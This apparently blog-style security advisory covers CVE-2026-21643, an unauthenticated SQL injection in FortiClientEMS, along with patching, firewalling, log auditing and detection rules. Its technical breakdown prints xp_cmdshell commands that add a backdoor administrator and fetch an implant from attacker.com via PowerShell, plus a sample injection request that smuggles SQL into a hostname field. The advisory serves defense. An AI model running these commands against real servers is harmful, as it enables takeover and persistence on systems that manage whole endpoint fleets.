On February 6, 2026, Fortinet published a security advisory for CVE-2026-21643, a critical SQL injection vulnerability affecting FortiClientEMS (Endpoint Management Server), the centralized management server for FortiClient agents. With a CVSS score of 9.1, this flaw lets a remote, unauthenticated attacker run arbitrary SQL queries against the internal database, opening the door to system command execution (RCE) on the server.
FortiClientEMS version 7.4.4 is directly affected. The 7.2 and 8.0 branches are not impacted. The fix is available in version 7.4.5 and later. At the time Fortinet published its advisory, no active exploitation in the wild had been reported, but this product's history calls for the utmost caution.
Because this is not the first time FortiClientEMS has been hit by this kind of vulnerability. In March 2024, CVE-2023-48788 (CVSS 9.8), also a SQL injection in the same product, was actively exploited in the wild just days after its disclosure. Attackers know FortiClientEMS, and they know that compromising it grants access to the entire fleet of managed endpoints.
FortiClientEMS: understanding the target
FortiClientEMS (Endpoint Management Server) is the central component of endpoint management in the Fortinet ecosystem. It is the server that lets administrators deploy, configure, and monitor the FortiClient agents installed on an organization's workstations and servers.
Concretely, EMS handles the centralized deployment of FortiClient agents (VPN, antivirus, firewall), the enforcement of security policies across the entire fleet, the endpoint inventory and their compliance, and the integration with FortiGate for Zero Trust Network Access (ZTNA).
A compromised FortiClientEMS server means potential access to an organization's entire endpoint fleet. The attacker can change policies, disable protections, push malicious payloads to every managed machine, or exfiltrate the full inventory of the infrastructure.
CVE-2026-21643: a technical breakdown of the vulnerability
CVE-2026-21643 is classified as a CWE-89: Improper Neutralization of Special Elements used in an SQL Command. In plain terms, user-controlled data is injected directly into SQL queries without adequate sanitization.
The attack vector
The flaw lies in the handling of specially crafted HTTP requests sent to the FortiClientEMS management interface. The critical part: exploitation requires no authentication. An attacker with network access to the FortiClientEMS management port (by default, port 8013 for agent communications, or the HTTPS administration port) can inject arbitrary SQL.
FortiClientEMS uses a Microsoft SQL Server database (or SQL Server Express in default installations) to store its configuration, the endpoint inventory, and the policies. This architecture is identical to the one that was exploited through CVE-2023-48788.
From SQL injection to RCE
SQL injection alone is already serious: read and write access to the entire database, exfiltration of configurations, modification of policies. But the real danger is the escalation to system command execution.
On Microsoft SQL Server, the xp_cmdshell stored procedure allows operating-system commands to be executed directly from a SQL query. By default, xp_cmdshell is disabled, but an attacker with sufficient privileges on the database can re-enable it:
-- Step 1: re-enable xp_cmdshell via the advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Step 2: run system commands
EXEC xp_cmdshell 'whoami';
-- Typically returns: NT AUTHORITYSYSTEM
-- Step 3: the attacker can now:
EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup Administrators backdoor /add';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/implant.ps1'')"';
The FortiClientEMS SQL Server process generally runs with elevated privileges (often NT AUTHORITYSYSTEM), which means commands executed through xp_cmdshell have full access to the underlying operating system.
A typical exploitation scenario
In practice, the attack follows a classic sequence: reconnaissance (port scanning, Shodan) to identify exposed EMS instances, then initial injection via a forged, unauthenticated HTTP request, followed by enabling xp_cmdshell and deploying an implant. From EMS, the attacker can then push malicious configurations to every managed endpoint.
# Simplified example of an exploitation request
# (the real payload is not disclosed, for obvious reasons)
curl -k -X POST https://ems-target:443/api/v1/endpoint/register
-H "Content-Type: application/json"
-d '{"hostname": "test'; EXEC xp_cmdshell 'whoami'; --"}'
# The hostname parameter is not sanitized and is injected
# directly into the registration SQL query
CVE-2023-48788: the precedent that makes this urgent
To gauge the real risk of CVE-2026-21643, just look at what happened with its direct predecessor. In March 2024, Fortinet patched CVE-2023-48788, a nearly identical SQL injection in FortiClientEMS, with an even higher CVSS score of 9.8.
The CVE-2023-48788 timeline is instructive:
- March 12, 2024: Fortinet publishes the security advisory
- March 21, 2024: Horizon3.ai publishes a detailed technical analysis and a working PoC
- March 22-26, 2024: GreyNoise observes the first active exploitation attempts from 4 distinct IP addresses
- March 25, 2024: added to the CISA KEV (Known Exploited Vulnerabilities) catalog
In short: less than two weeks between the initial advisory and active exploitation. And that earlier flaw affected the same component, the same type of vulnerability (SQLi), with the same escalation vector (xp_cmdshell). Attackers will have no trouble adapting the known techniques to the new CVE.
CVE-2023-48788 affected versions 7.0.1 to 7.0.10 and 7.2.0 to 7.2.2 of FortiClientEMS. The fact that the 7.4 branch is now affected by a similar bug raises questions about secure code review practices at Fortinet. The same vulnerability patterns keep recurring across successive major versions of the same product.
Check whether you are exposed
The first step is to determine the exact version of FortiClientEMS installed in your environment. Several methods are possible:
# Method 1: via the web administration console
# Log in to https://ems-server:443
# Dashboard -> About -> Version
# Method 2: via the Windows registry (on the EMS server)
reg query "HKLMSOFTWAREFortinetFortiClientEMS" /v Version
# Method 3: check the executable file
wmic product where "name like '%%FortiClient%%EMS%%'" get name,version
# Method 4: via PowerShell
Get-ItemProperty "HKLM:SOFTWAREFortinetFortiClientEMS" | Select-Object Version
# Vulnerable versions:
# FortiClientEMS 7.4.4 -> VULNERABLE
# FortiClientEMS 7.4.5+ -> FIXED
# FortiClientEMS 7.2.x -> NOT AFFECTED
# FortiClientEMS 8.0.x -> NOT AFFECTED
Also check your network exposure: is the EMS port reachable from outside? A simple nmap -sV -p 443,8013 ems-server.example.com from outside your network will give you the answer. If the service responds, you are exposed.
Remediation plan
1. Update to FortiClientEMS 7.4.5 immediately
The update is the only definitive fix. Fortinet has released version 7.4.5, which fixes the vulnerability by adding proper sanitization of user input in SQL queries through parameterized queries (prepared statements).
# 1. Download the package from the Fortinet portal
# https://support.fortinet.com -> Downloads -> FortiClientEMS 7.4.5
# 2. Create a backup before updating
# Via the interface: System Settings -> Backup -> Full Backup
# Or directly on the server:
sqlcmd -S localhostINTIMEDB -Q "BACKUP DATABASE FortiClientEMS TO DISK='C:BackupEMS_pre_patch.bak'"
# 3. Stop the EMS services
net stop "FortiClientEMS Service"
net stop "FortiClientEMS Scheduler"
# 4. Run the installer in upgrade mode
FortiClientEMS_7.4.5_Setup.exe /quiet /norestart
# 5. Verify the version after the update
reg query "HKLMSOFTWAREFortinetFortiClientEMS" /v Version
# 6. Restart the services
net start "FortiClientEMS Service"
net start "FortiClientEMS Scheduler"
# 7. Check the logs for any anomaly
Get-EventLog -LogName Application -Source "FortiClientEMS" -Newest 50
2. Restrict network access to the EMS server
Whether or not you have updated, the EMS server should never be directly reachable from the Internet. The attack surface must be reduced to the bare minimum:
# Windows Firewall: restrict access to the administration port
# Allow only the administration subnet
netsh advfirewall firewall add rule name="EMS Admin - Restrict" ^
dir=in action=allow protocol=tcp localport=443 ^
remoteip=10.0.1.0/24
# Block everything else on the administration port
netsh advfirewall firewall add rule name="EMS Admin - Block All" ^
dir=in action=block protocol=tcp localport=443
# For agent communications (port 8013):
# Restrict to the endpoint subnets only
netsh advfirewall firewall add rule name="EMS Agent - Restrict" ^
dir=in action=allow protocol=tcp localport=8013 ^
remoteip=10.0.0.0/16
If FortiClientEMS must be reachable by remote endpoints (mobile workers), put a VPN or a FortiGate tunnel in front of it, never a direct exposure to the Internet.
3. Disable xp_cmdshell proactively
Even if the SQL injection is fixed, disabling xp_cmdshell adds a layer of defense in depth that blocks the escalation to RCE:
-- Connect to the SQL Server instance used by EMS
-- (usually a local instance named INTIMEDB)
sqlcmd -S localhostINTIMEDB
-- Disable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- Verify that it is indeed disabled
EXEC sp_configure 'xp_cmdshell';
-- The run_value must be 0
-- Restrict permissions on reconfiguration
-- to prevent re-enabling it via SQL injection
-- (requires an audit of the sysadmin roles)
4. Audit the logs to detect a prior compromise
Absence of evidence is not evidence of absence. Check your logs:
# Search for SQL injection attempts in the EMS logs
findstr /i /s "xp_cmdshell sp_configure UNION SELECT exec(" ^
"C:Program FilesFortinetFortiClientEMSlogs*.log"
# Check for abnormal outbound network connections
netstat -anob | findstr "ESTABLISHED" | findstr /v "127.0.0.1"
# Look for recently created user accounts
wmic useraccount where "LocalAccount=True" get Name,SID,Disabled
# Check for suspicious scheduled tasks (a common backdoor)
schtasks /query /fo TABLE /v | findstr /v "Microsoft"
Fortinet, a repeat offender on critical vulnerabilities
CVE-2026-21643 fits into a history of critical vulnerabilities at Fortinet that is starting to form a worrying pattern, especially on FortiClientEMS:
- CVE-2023-48788 (CVSS 9.8): SQL injection in FortiClientEMS 7.0/7.2, actively exploited, public PoC within 9 days
- CVE-2024-21762 (CVSS 9.6): remote code execution in FortiOS SSL-VPN, exploited as a zero-day
- CVE-2024-47575 (CVSS 9.8): a flaw in FortiManager allowing unauthenticated code execution
- CVE-2026-21643 (CVSS 9.1): and now, a new SQL injection in FortiClientEMS 7.4
The problem is not that a vendor has vulnerabilities. The problem is that the same types of flaws (SQL injection, missing sanitization) keep recurring in the same products across successive major versions. For organizations that depend on Fortinet, the takeaway is simple: never treat a security product as inherently safe, and always apply defense in depth.
Detection and lessons for administrators
Beyond patching, put active monitoring in place. Here is a Suricata rule and a PowerShell script to detect exploitation attempts:
# Suricata rule to detect SQL injections against EMS
alert http any any -> $EMS_SERVER 443 (
msg:"FORTINET EMS - Possible SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
pcre:"/(union|select|exec|xp_cmdshell)/i";
classtype:web-application-attack;
sid:2026001; rev:1;
)
# PowerShell: watch for SQL Server child processes
# (an indicator of exploitation via xp_cmdshell)
$sqlPid = (Get-Process sqlservr -ErrorAction SilentlyContinue).Id
if ($sqlPid) {
Get-CimInstance Win32_Process |
Where-Object { $_.ParentProcessId -eq $sqlPid -and $_.Name -ne "sqlservr.exe" } |
Select-Object Name, ProcessId, CommandLine, CreationDate
}
The defense-in-depth principles that apply to FortiClientEMS (and to any centralized management tool):
- Never expose management interfaces to the Internet. Even the agent port (8013) must be filtered to known subnets. Remote workers connect through a VPN.
- Segment the management network. EMS should live in a dedicated administration VLAN, with strictly controlled and logged traffic.
- Apply least privilege to SQL Server. The EMS service must not run under a
sysadminaccount. Restrict permissions to prevent the escalation toxp_cmdshell. - Set up proactive CVE monitoring. Subscribe to Fortinet PSIRT advisories, the NVD, and the CISA KEV catalog.
To build a complete security posture on your servers, see the Linux server security checklist. And if you think your current detection mechanisms are enough, the article on why Fail2ban is not enough will set the record straight.
Conclusion
CVE-2026-21643 is a brutal reminder that security products are themselves prime targets. FortiClientEMS centrally manages the security of every endpoint in an organization. Compromising it is the equivalent of root access to the entire infrastructure.
The actions to remember: update to 7.4.5 immediately, restrict EMS's network exposure to the strictly necessary subnets, disable xp_cmdshell, audit the logs, and segment the management network. Treat FortiClientEMS with the same level of hardening as an Active Directory domain controller: it is a single point of failure for the security of all your endpoints.
The stream of critical flaws is not slowing down. Last week it was n8n and its CVE-2026-25049 enabling RCE. Before that, the February 2026 Patch Tuesday with its 6 Microsoft zero-days. Security monitoring is no longer optional; it is an operational necessity.
Comments